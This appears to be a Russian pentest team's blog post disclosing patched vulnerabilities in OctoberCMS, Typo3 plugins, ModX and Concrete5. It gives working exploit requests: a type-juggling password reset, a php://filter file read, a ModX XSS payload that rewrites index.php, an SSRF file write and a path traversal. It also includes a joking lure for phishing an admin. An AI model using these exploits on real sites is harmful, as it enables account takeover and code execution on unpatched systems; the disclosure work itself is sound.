Вы, вероятно, уже видели эту статью в нашем блоге на Хабре. Хотим напомнить о ней и рассказать о еще двух опубликованных уязвимостях, которые позволяют выполнять произвольный код в системе.
Львиная доля всех работ по анализу защищенности внешнего периметра – это тестирование веб-приложений. Здесь могут быть как корпоративные решения, так и «домашние» разработки на базе различных публичных систем управления контентом (CMS). Мы всегда проводим глубокий анализ подобных решений на тестовых стендах и зачастую находим уязвимости нулевого дня. Из опыта таких проектов и родилась идея собрать исследовательскую команду и провести глубокий анализ популярных CMS-систем и различных плагинов для них. В этом посте мы поделимся результатами нашего исследования, а также продемонстрируем примеры уязвимого кода наиболее интересных, на наш взгляд, уязвимостей и варианты их эксплуатации. Разумеется, все эти уязвимости уже исправлены и описываются здесь с разрешения владельцев систем.
В рамках исследовательского проекта мы проанализировали следующие CMS с открытым исходным кодом:
-
ImpressCMS
-
Contao
-
Concrete5
-
ExpressionEngine
-
Typo3
-
OctoberCMS
-
ModX
Почему именно такой выбор? Причин тому несколько:
-
некоторые из этих продуктов мы довольно часто встречаем у наших заказчиков,
-
все перечисленные системы написаны с использованием PHP, что лично для нас сильно упрощает анализ исходных кодов, т. к. обладаем соответствующей квалификацией,
-
согласно https://trends.builtwith.com/cms, суммарное количество активных веб-приложений, использующих выбранные CMS, превышает 500 тысяч.
Нашей ключевой целью было обнаружение критических уязвимостей, которые мы потом сможем использовать в проектах по анализу защищенности, например:
-
возможность выполнения произвольного кода,
-
различного рода инъекции (например, SQL),
-
обход аутентификации,
-
чтение произвольных файлов системы.
Подход к исследованию
Наш подход заключался в ручном анализе и удаленной отладке указанных систем, при этом мы НЕ использовали никаких автоматизированных средств поиска уязвимостей (сканеров и статических анализаторов кода). Трудно отрицать, что сканеры и анализаторы кода могут существенно упростить и ускорить процесс анализа при большом объеме задач, но мы используем их только в случае крайней необходимости. По нашим наблюдениям, результаты работ подобных утилит имеют определенную ценность, но время, затраченное на анализ отчета, можно потратить более продуктивно. С нашей точки зрения, имеет смысл встраивать процедуры сканирования в цикл разработки, чтобы править уязвимые куски кода на раннем этапе и не получать огромные отчеты на финальных стадиях.
На каждую систему и плагины к ней мы отводили ровно одну неделю интенсивной работы, а после переходили к следующему приложению из списка.
Для совместной работы мы использовали тестовые виртуальные машины с предустановленным LAMP-стеком и специальным плагином для отладки PHP веб-приложений XDebug (https://xdebug.org/).
XDebug – замечательный плагин для PHP, особенно в сочетании с Visual Studio Code: очень прост в настройке и использовании и при этом позволяет делать все, что может потребоваться для отладки приложений (точки останова, пошаговая отладка, просмотр стека вызовов, просмотр значений переменных, а также выполнение произвольного PHP-кода в текущем контексте приложения).
Для тех, кому интересно, пример конфигурации XDebug для VSCode мы приводим ниже:
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"port": 9000,
"pathMappings": {
"<Путь к приложению на сервере>":"<Путь к исходным кодам локально>",
}
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9000
}
]
}
Ну и, конечно же, при анализе веб-приложений никуда не деться от использования Burp Suite. Кроме базовой функциональности, доступной в данном приложении (Proxy, Repeater, Intruder), мы также используем плагин Hackvector (аналог небезызвестного CyberChef) для упрощения анализа передаваемых данных.
При анализе исходных кодов мы всегда используем один и тот же подход, который, исходя из нашего многолетнего опыта, позволяет покрыть максимум различной функциональности в условиях ограниченного времени. В начале мы «знакомимся» с приложением: работаем с ним, как обычный пользователь, смотрим и собираем потенциально интересный функционал. На следующем этапе проводим первичный анализ исходного кода и сопоставляем обнаруженные сценарии с контроллерами приложения, а также в целом смотрим на то, как приложение написано, и анализируем использование потенциально небезопасных функций (для PHP таковыми, например, являются exec, shell_exec, system, passthru, pcntl_exec, popen, proc_open, eval, create_function, file_get_contents, file_put_contents, readfile, include, require, require_once, include_once). Затем ищем функции, принимающие на вход данные от пользователя, и анализируем их дальнейшее использование.
Тут в очередной раз нас выручает VSCode, который позволяет быстро увидеть места, где определены и используются переменные и функции.
Результаты
На старте этого проекта мы были настроены не то чтобы пессимистично, но наши ожидания по поводу результатов были крайне приземленные – ведь системы управления контентом, которые мы исследовали, уже довольно давно присутствуют на рынке, их исходные коды находятся в публичном доступе, у половины из них есть bug-bounty-программы на популярных платформах (например, HackerOne). Вероятно, эти системы были не единожды проанализированы – вряд ли там есть что-то критичное. Так ведь?
Статистика обнаруженных уязвимостей, приведенная ниже, учитывает не только ядро исследуемых систем, но и плагины к ним.
Тип уязвимости |
Суммарное количество обнаруженных |
---|---|
XSS |
20 |
SQLi |
16 |
XSSI |
2 |
Path Traversal |
9 |
SSRF |
8 |
Обход аутентификации (Authentication Bypass) |
1 |
Захват аккаунтов (Account Takeover) |
1 |
SSTI |
3 |
Чтение произвольных файлов файловой системы (Arbitrary File Read) |
4 |
Доступность файлов, содержащих чувствительную информацию (бэкапы) |
1 |
Внедрение произвольного кода (Code Injection) |
2 |
CSRF |
8 |
DOS |
1 |
Небезопасная загрузка файлов |
3 |
Обход встроенных механизмов защиты от SQL-инъекций |
1 |
Ниже мы приведем примеры эксплуатации и уязвимый код наиболее интересных, на наш взгляд, уязвимостей.
OctoberCMS:
Структура тестового стенда:
-
Версия OctoberCMS: OctoberCMS 1.0.471 (November 22, 2020)
-
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
-
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
В рамках анализа этой системы нам удалось обнаружить, что неавторизованный злоумышленник может получить доступ к любому аккаунту с использованием функциональности сброса пароля. Для этого ему достаточно обладать только следующей информацией:
-
ID аккаунта (инкрементальные числа от 1)
-
Логин аккаунта
Рассмотрим непосредственно уязвимый код:
/octobercms/vendor/october/rain/src/Auth/Models/User.php, line 281
275 public function checkResetPasswordCode($resetCode)
276 {
277 if (!$resetCode || !$this->reset_password_code) {
278 return false;
279 }
280
281 return ($this->reset_password_code == $resetCode);
Как видно из названия функции, она занимается проверкой корректности переданного кода восстановления пароля. При этом параметр «$resetCode» – это переданный атакующим токен, тогда как «$this->reset_password_code» – это строка, сгенерированная при запросе на сброс пароля и сохраненная в базе данных.
Те, кто ранее занимался разработкой на PHP или анализом кода, уже сейчас могут сказать, в чем состоит уязвимость. Остальным необходимо обратить внимание на следующую строчку:
return ($this->reset_password_code == $resetCode);
Тут происходит сравнение переданного нами кода восстановления с тем, что сгенерировала и сохранила в базу система. Однако сравнение происходит с использованием двух знаков «=». В PHP это обозначает нестрогое сравнение, что приводит к уязвимости Type Juggling (ссылка на статью для тех, кто хочет разобраться более детально https://www.netsparker.com/blog/web-security/php-type-juggling-vulnerabilities/).
Процесс эксплуатации начинается со сброса пароля пользователя системы, для чего требуется знать непосредственно его логин. Учитывая, что при установке системы предлагается использовать логин «admin» для первой учетной записи, есть крайне неплохие шансы его угадать.
Запрос на сброс пароля выглядит следующим образом:
POST /octobercms/octobercms/backend/backend/auth/restore HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Cookie: <COOKIE>
_session_key=LY47m06yhjbbCbOyuVbYUko4B5WdLSBStM8EguBK&
_token=ovojVwSUxLU9gjafckWGhaSAuAfZoTpVPEXDgjTf&postback=1&login=admin
Параметры «_session_key» и «_token» служат для защиты от CSRF-атак, но для автоматизации могут быть получены непосредственно со страницы сброса пароля.
Далее нам необходимо получить аналогичные параметры, но уже для формы изменения пароля с помощью запроса к «/octobercms/octobercms/backend/backend/auth/reset/1/<Тут можно вставить любое значение>».
Остается главный вопрос – что делать с кодом восстановления? Как видно из листинга выше, все отправляемые POST-запросы используют «Content-Type: application/x-www-form-urlencoded», что приводит к тому, что переданные параметры будут интерпретированы системой как строка. В данной ситуации проэксплуатировать уязвимость не получится, так ведь?
Рассмотрим более подробно то, как в целом система обрабатывает запросы. Все начинается с файла «index.php», в котором создается новый объект приложения (строка 40) и запускается обработчик запросов (строки 42, 43).
Файл index.php:
40 $kernel = $app->make('Illuminate\Contracts\Http\Kernel');
41
42 $response = $kernel->handle(
43 $request = Illuminate\Http\Request::capture()
44 );
Как видно из приведенного кода, OctoberCMS построена на основе Laravel. При обработке запросов Laravel проверяет Content-Type и, если он соответствует «application/json», вызывает функцию «json», которая преобразует данные в нужном формате в их внутреннее представление (строка 322).
Файл /vendor/laravel/framework/src/Illuminate/Http/Request.php:
319 public function json($key = null, $default = null)
320 {
321 if (! isset($this->json)) {
322 $this->json = new ParameterBag((array) json_decode($this->getContent(), true));
323 }
324
325 if (is_null($key)) {
326 return $this->json;
327 }
328
329 return data_get($this->json->all(), $key, $default);
330 }
Почему так важно, что OctoberCMS обрабатывает данные в формате JSON? Как всем известно, этот формат позволяет передавать типизированные данные, например, в формате «boolean». Внимательный читатель уже догадался, к чему мы клоним. Следующий запрос приведет к тому, что значение «$resetCode» будет равно «true», что пройдет все проверки безопасности и сбросит пароль учетной записи:
POST /octobercms/octobercms/backend/backend/auth/reset/1/1 HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Content-Type: application/json
Content-Length: 158
{"_session_key":"xMynvPJf5VRiR3xG596wU2Me8HCLviF234VMNULp",
"_token":"n1noob7qnxvCLicVFdm4BZxoI9D3qeNRYJWWZRpj",
"postback":1,"id":1,"code":true,"password":"test1"}

Как же исправить такую критическую уязвимость? Использовать три знака «равно» вместо двух при сравнении?
Исправление этой уязвимости уже присутствует в системе (https://github.com/octobercms/library/commit/016a297b1bec55d2e53bc889458ed2cb5c3e9374#diff-7e9112e7e18052d0616216c5f68258aba746449f83b65d206aac44f7b27bf479). Поэтому мы крайне рекомендуем обновиться «уже вчера».
Рекомендации по исправлению от производителя ПО: https://github.com/octobercms/october/security/advisories/GHSA-mxr5-mc97-63rc
Typo 3 (Плагин Yoast SEO)
Структура тестового стенда:
-
Версия Typo3: Typo3 10.4.12
-
Версия Yoast SEO: 7.1.3
-
Количество установок Yoast SEO: 83,545 (https://extensions.typo3.org/extension/yoast_seo)
-
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
-
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
-
Идентификатор уязвимости TYPO3-EXT-SA-2021-006 (https://typo3.org/security/advisory/typo3-ext-sa-2021-006)
Анализируя модули этой системы, мы обнаружили, что довольно популярный плагин Yoast Seo подвержен уязвимости, которая позволяет выполнять произвольные запросы от имени сервера (SSRF), а также читать локальные файлы системы.
После установки Yoast Seo регистрирует следующие маршруты в приложении и соответствующие им контроллеры обработчиков:
'ajax_yoast_preview' =>
array (
'path' => '/ajaxyoast/preview',
'target' => 'YoastSeoForTypo3\\YoastSeo\\Controller\\AjaxController::previewAction',
'ajax' => true,
),
'ajax_yoast_save_scores' =>
array (
'path' => '/ajaxyoast/savescores',
'target' => 'YoastSeoForTypo3\\YoastSeo\\Controller\\AjaxController::saveScoresAction',
'ajax' => true,
),
Рассмотрим более подробно исходный код следующего контроллера «YoastSeoForTypo3\\YoastSeo\\Controller\\AjaxController».
Файл yoast_seo/yoast_seo/Classes/Controller/AjaxController.php
16 class AjaxController
17 {
18 /**
19 * @param \Psr\Http\Message\ServerRequestInterface $request
20 * @param \Psr\Http\Message\ResponseInterface $response
21 * @return \Psr\Http\Message\ResponseInterface
22 * @throws \Exception
23 */
24 public function previewAction(
25 ServerRequestInterface $request
26 ): ResponseInterface {
27 $queryParams = $request->getQueryParams();
28
29 $previewService = GeneralUtility::makeInstance(PreviewService::class);
30 $content = $previewService->getPreviewData(
31 $queryParams['uriToCheck'],
32 (int)$queryParams['pageId']
33 );
34
35 return new HtmlResponse($content);
36 }
Нас интересуют строки 27, 30–33, в которых приложение получает параметры из GET-запроса («$request->getQueryParams()») и сохраняет их в ассоциативный массив $queryParams, данные которого далее передаются в функцию «$previewService->getPreviewData». Обратим внимание, что по крайней мере на этом этапе не происходит фильтрации передаваемых данных.
Функция «$previewService->getPreviewData» описана в файле «yoast_seo/yoast_seo/Classes/Service/PreviewService.php »
Файл yoast_seo/yoast_seo/Classes/Service/PreviewService.php
39 public function getPreviewData($uriToCheck, $pageId)
40 {
41 $this->pageId = $pageId;
42
43 $this->cObj = GeneralUtility::makeInstance(ContentObjectRenderer::class);
44
45 try {
46 $content = $this->getContentFromUrl($uriToCheck);
47 $data = $this->getDataFromContent($content, $uriToCheck);
<SNIPPED>
66 protected function getContentFromUrl($uriToCheck): string
67 {
68 $backupSettings = $GLOBALS['TYPO3_CONF_VARS']['HTTP'];
69 $this->setHttpOptions();
70 $report = [];
71 $content = GeneralUtility::getUrl(
72 $uriToCheck
73 1,
74 [
75 'X-Yoast-Page-Request' => GeneralUtility::hmac(
76 $uriToCheck
77 )
78 ],
79 $report
80 );
Переданные нами данные «$uriToCheck» попадают в функцию «$this->getContentFromUrl» (строка 46), в которой происходит вызов уже стандартного метода Typo3 «GeneralUtility::getUrl» (строка 71).
Здесь стоит сделать небольшое отступление и поговорить вот о чем: многие системы управления контентом разрабатываются с упором на то, что их функциональность может и будет расширяться различными модулями, и Typo3 тут не исключение. Для этого разработчики предоставляют довольно широкий набор классов и методов для взаимодействия с основными элементами приложения, но зачастую проведение всех проверок безопасности остается в зоне ответственности авторов конкретного плагина. В итоге стандартные модули и функции пишутся с учетом всех возможных вариантов использования и интегрируются в код модулей без должного анализа.
Так, авторы стандартного метода Typo3 «GeneralUtility::getUrl» предусмотрели возможность использования любых схем в URI через вызов «file_get_contents» (строка 1802), что позволяет прочитать содержимое локальных файлов системы.
Файл /typo3_src/typo3/sysext/core/Classes/Utility/GeneralUtility.php
1731 public static function getUrl($url, $includeHeader = 0, $requestHeaders = null, &$report = null)
1732 {
<SNIPPED>
1741 if (preg_match('/^(?:http|ftp)s?|s(?:ftp|cp):/', $url)) {
<SNIPPED>
1798 } else {
1799 if (isset($report)) {
1800 $report['lib'] = 'file';
1801 }
1802 $content = @file_get_contents($url);
1803 if ($content === false && isset($report)) {
1804 $report['error'] = -1;
1805 $report['message'] = 'Couldn\'t get URL: ' . $url;
1806 }
1807 }
1808 return $content;
1809 }
Пример эксплуатации:
http://192.168.255.78/typo3/typo3/index.php?route=/ajaxyoast/preview&uriToCheck=php://filter/resource=/var/www/html/index.html&pageId=1

ModX:
Структура тестового стенда:
-
Версия ModX: MODX Revolution 2.8.1-pl (October 22, 2020)
-
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
-
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
-
Напоследок хотим показать уязвимость, ставшую легендарной, – RCE через XSS.
Привилегированная учетная запись ModX имеет права на редактирование любого файла приложения, включая исполняемые. Стоит отметить интересный момент: для защиты от CSRF-атак используется параметр HTTP_MODAUTH, значение которого можно также получить с помощью JavaScript из переменной «MODx.siteId».
Следующий код позволяет нам перезаписать файл «index.php», добавив в его начало произвольный код и не поломав при этом работу всего приложения.
JavaScript-код, эксплуатирующий уязвимость:
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.255.78/modx/connectors/index.php");
xhr.withCredentials = true;
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=utf-8');
xhr.send("action=browser%2Ffile%2Fupdate&file=index.php&wctx=mgr&source=1&name=index.php&content=%3C%3Fphp%0A<JUST PASTE YOUR CODE HERE>%2F*%0A%20*%20This%20file%20is%20part%20of%20MODX%20Revolution.%0A%20*%0A%20*%20Copyright%20(c)%20MODX%2C%20LLC.%20All%20Rights%20Reserved.%0A%20*%0A%20*%20For%20complete%20copyright%20and%20license%20information%2C%20see%20the%20COPYRIGHT%20and%20LICENSE%0A%20*%20files%20found%20in%20the%20top-level%20directory%20of%20this%20distribution.%0A%20*%2F%0A%0A%24tstart%3D%20microtime(true)%3B%0A%0A%2F*%20define%20this%20as%20true%20in%20another%20entry%20file%2C%20then%20include%20this%20file%20to%20simply%20access%20the%20API%0A%20*%20without%20executing%20the%20MODX%20request%20handler%20*%2F%0Aif%20(!defined('MODX_API_MODE'))%20%7B%0A%20%20%20%20define('MODX_API_MODE'%2C%20false)%3B%0A%7D%0A%0A%2F*%20include%20custom%20core%20config%20and%20define%20core%20path%20*%2F%0A%40include(dirname(__FILE__)%20.%20'%2Fconfig.core.php')%3B%0Aif%20(!defined('MODX_CORE_PATH'))%20define('MODX_CORE_PATH'%2C%20dirname(__FILE__)%20.%20'%2Fcore%2F')%3B%0A%0A%2F*%20include%20the%20modX%20class%20*%2F%0Aif%20(!%40include_once%20(MODX_CORE_PATH%20.%20%22model%2Fmodx%2Fmodx.class.php%22))%20%7B%0A%20%20%20%20%24errorMessage%20%3D%20'Site%20temporarily%20unavailable'%3B%0A%20%20%20%20%40include(MODX_CORE_PATH%20.%20'error%2Funavailable.include.php')%3B%0A%20%20%20%20header(%24_SERVER%5B'SERVER_PROTOCOL'%5D%20.%20'%20503%20Service%20Unavailable')%3B%0A%20%20%20%20echo%20%22%3Chtml%3E%3Ctitle%3EError%20503%3A%20Site%20temporarily%20unavailable%3C%2Ftitle%3E%3Cbody%3E%3Ch1%3EError%20503%3C%2Fh1%3E%3Cp%3E%7B%24errorMessage%7D%3C%2Fp%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0A%2F*%20start%20output%20buffering%20*%2F%0Aob_start()%3B%0A%0A%2F*%20Create%20an%20instance%20of%20the%20modX%20class%20*%2F%0A%24modx%3D%20new%20modX()%3B%0Aif%20(!is_object(%24modx)%20%7C%7C%20!(%24modx%20instanceof%20modX))%20%7B%0A%20%20%20%20ob_get_level()%20%26%26%20%40ob_end_flush()%3B%0A%20%20%20%20%24errorMessage%20%3D%20'%3Ca%20href%3D%22setup%2F%22%3EMODX%20not%20installed.%20Install%20now%3F%3C%2Fa%3E'%3B%0A%20%20%20%20%40include(MODX_CORE_PATH%20.%20'error%2Funavailable.include.php')%3B%0A%20%20%20%20header(%24_SERVER%5B'SERVER_PROTOCOL'%5D%20.%20'%20503%20Service%20Unavailable')%3B%0A%20%20%20%20echo%20%22%3Chtml%3E%3Ctitle%3EError%20503%3A%20Site%20temporarily%20unavailable%3C%2Ftitle%3E%3Cbody%3E%3Ch1%3EError%20503%3C%2Fh1%3E%3Cp%3E%7B%24errorMessage%7D%3C%2Fp%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0A%2F*%20Set%20the%20actual%20start%20time%20*%2F%0A%24modx-%3EstartTime%3D%20%24tstart%3B%0A%0A%2F*%20Initialize%20the%20default%20'web'%20context%20*%2F%0A%24modx-%3Einitialize('web')%3B%0A%0A%2F*%20execute%20the%20request%20handler%20*%2F%0Aif%20(!MODX_API_MODE)%20%7B%0A%20%20%20%20%24modx-%3EhandleRequest()%3B%0A%7D%0A&HTTP_MODAUTH="+MODx.siteId);
xhr.onload = () => alert(xhr.response);
Остается только закодировать эксплойт в Base64, отправить админу ссылку и сделать все возможное, чтобы он по ней кликнул. Милые котики в письме, горячие девушки на районе или скидочный купон на крафт – выбор подходящего стимула ограничивается только фантазией. Так или иначе, переход админа по ссылке даст возможность выполнять произвольный код в системе.
Пример эксплуатации:
http://192.168.255.78/modx/manager/?a=browser/&key=rrrrrrrrrrrrr&ctx=?%22;eval(atob(%27< закодированный в BASE64 код из листинга выше>%27));//
Генерируем пейлоад, содержащий команды «whoami» и «ifconfig»:

В результате наш JavaScript-код будет внедрен на страницу и успешно выполнен от имени привилегированного пользователя:

Это приведет к перезаписи содержимого файла «index.php» и выполнению произвольного кода:

Typo 3 (Плагин pixx.io integration for TYPO3)
Структура тестового стенда:
-
Версия Typo3: Typo3 10.4.12
-
Версия Pixxio: 1.0.4
-
Количество установок Pixxio: 4,120 (https://extensions.typo3.org/extension/pixxio)
-
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
-
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
-
Идентификатор уязвимости Typo3-ext-sa-2021-017 (https://typo3.org/article/typo3-ext-sa-2021-017)
Плагин Pixxio не является настолько популярным, как описанный выше Yoast SEO, однако он подвержен интересной уязвимости, которая позволяет выполнять произвольные запросы на скачивание файлов от имени сервера (SSRF). При этом в системе отсутствует фильтрация расширений, что позволяет записать веб-интерпретатор и получить возможность удаленного выполнения кода.
После установки Pixxio регистрирует один единственный AJAX-маршрут в приложении, через который и осуществляется эксплуатация:
return [
'pixxio_modal_view_get_files' => [
'path' => '/pixxio/modalview/getfiles',
'target' => \PixxioTeam\Pixxio\Controller\ModalViewController::class . '::getFilesAction'
],
];
В коде контроллера «\PixxioTeam\Pixxio\Controller\ModalViewController» рассмотрим функцию «getFilesAction», вызов которой происходит при запросе соответствующего AJAX-метода. Из всех обрабатываемых в этой функции параметров, получаемых от пользователя, нас интересуют два:
-
relFiles (получаемый из параметра POST-запроса «files[]»);
-
filenames (получаемый из параметра POST-запроса «filenames[]»).
Первый параметр должен содержать в себе ссылку на файл, который мы хотим загрузить. При этом изначальное имя и расширение файла значения не имеют, так как в дальнейшем при обработке они будут заменены на имя и расширение из параметра «filenames».
Файл Classes/Controller/ModalViewController.php:
<SNIPPED>
106 $relFiles = $request->getParsedBody()['files'];
107 $relFilenames = $request->getParsedBody()['filenames'];
<SNIPPED>
156 foreach($relFiles as $key => $relFile) {
<SNIPPED>
175 $filename = substr($relFilenames[$key],0,$posLastPoint).'-'.$relUploaddates[$key].$filenamePreSuffix.substr($relFilenames[$key],$posLastPoint);
<SNIPPED>
180 // upload file
181 if (file_exists($absFileIdentifier) || is_file($absFileIdentifier)) {
182 $result = true;
183 } else {
184 $result = file_put_contents($absFileIdentifier, file_get_contents($relFile));
185 }
<SNIPPED>
Как видно из кода выше, после всех обработок ссылка на наш файл попадает в функцию «file_get_contents», которая читает содержимое файла, а потом сразу в функцию «file_put_contents», которая записывает его на диск (по умолчанию – в директорию «fileadmin/user_upload»), что и позволяет злоумышленнику выполнить произвольный код в системе.
Пример эксплуатации:
POST /typo3/index.php?route=/ajax/pixxio/modalview/getfiles&token=<CSRF-TOKEN> HTTP/1.1
Host: <HOST>
Cookie: <COOKIE>
Content-Type: application/x-www-form-urlencoded
Content-Length: 238
files[]=<LINK TO FILE>&filenames[]=test1234.php&filesubjects=test12345&filedescriptions=test12345&uploaddates=2018-03-07=13:20:54&uploadfolder=user_upload/&uploadoriginalimage=5-&configimagewidth=100&configimagequality=0


Concrete5 CMS
Структура тестового стенда:
-
Версия Concrete5 CMS: Concrete5 CMS 8.5.4
-
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
-
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
-
Идентификатор уязвимости CVE-2021-40097 (https://nvd.nist.gov/vuln/detail/CVE-2021-40097)
Учитывая ограниченные сроки на проведение анализа каждой из CMS-систем и довольно большой объем кода Concrete5 CMS, во время исследования этого программного обеспечения было принято решение использовать в большей степени методологию «черного ящика».
В рамках такого подхода нам удалось обнаружить интересную уязвимость в функциональности редактирования страниц, позволяющую с помощью специальных символов «../» встроить произвольный файл, содержащий PHP-код, в страницу приложения и получить возможность выполнения произвольных команд.
Для начала в систему необходимо загрузить какой-либо произвольный файл, содержащий наш код. Это может быть, например, картинка, загруженная в галерею. Вариант такого PNG-файла с дописанной в конце полезной нагрузкой показан ниже:

Получить полный путь файла в приложении можно будет, рассмотрев его подробные параметры.

Теперь есть вся необходимая информация для того, чтобы начать процедуру эксплуатации:
-
Прежде всего необходимо перевести произвольную страницу в режим редактирования и добавить Layout к любому элементу с помощью «Add Layout» -> «Add Layout».
-
Отредактировать новый Layout и сохранить изменения («Edit layout Design» -> Save).
-
Перехватить запрос на сохранение Layout и модифицировать параметр «bFilename», указав в нем через Path-Traversal путь до нашего загруженного ранее файла.
POST /index.php/ccm/system/dialogs/block/design/submit?ccm_token=<TOKEN>&cID=213&arHandle=Main+%3A+45&bID=176 HTTP/1.1
Host: <HOST>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 383
Cookie: <COOKIE>
bFilename=../../../../application/files/9316/1312/5391/png-transparent.png&textColor=&linkColor=&alignment=&backgroundColor=&backgroundImageFileID=0&backgroundRepeat=no-repeat&backgroundSize=auto&backgroundPosition=left+top&borderColor=&borderStyle=&boxShadowColor=&hideOnDevice%5B10%5D=0&hideOnDevice%5B20%5D=0&hideOnDevice%5B30%5D=0&hideOnDevice%5B40%5D=0&customID=&customElementAttribute=&enableBlockContainer=-1&__ccm_consider_request_as_xhr=1
В результате после перезагрузки страницы наш файл будет обработан как ее часть и система выполнит PHP-код.
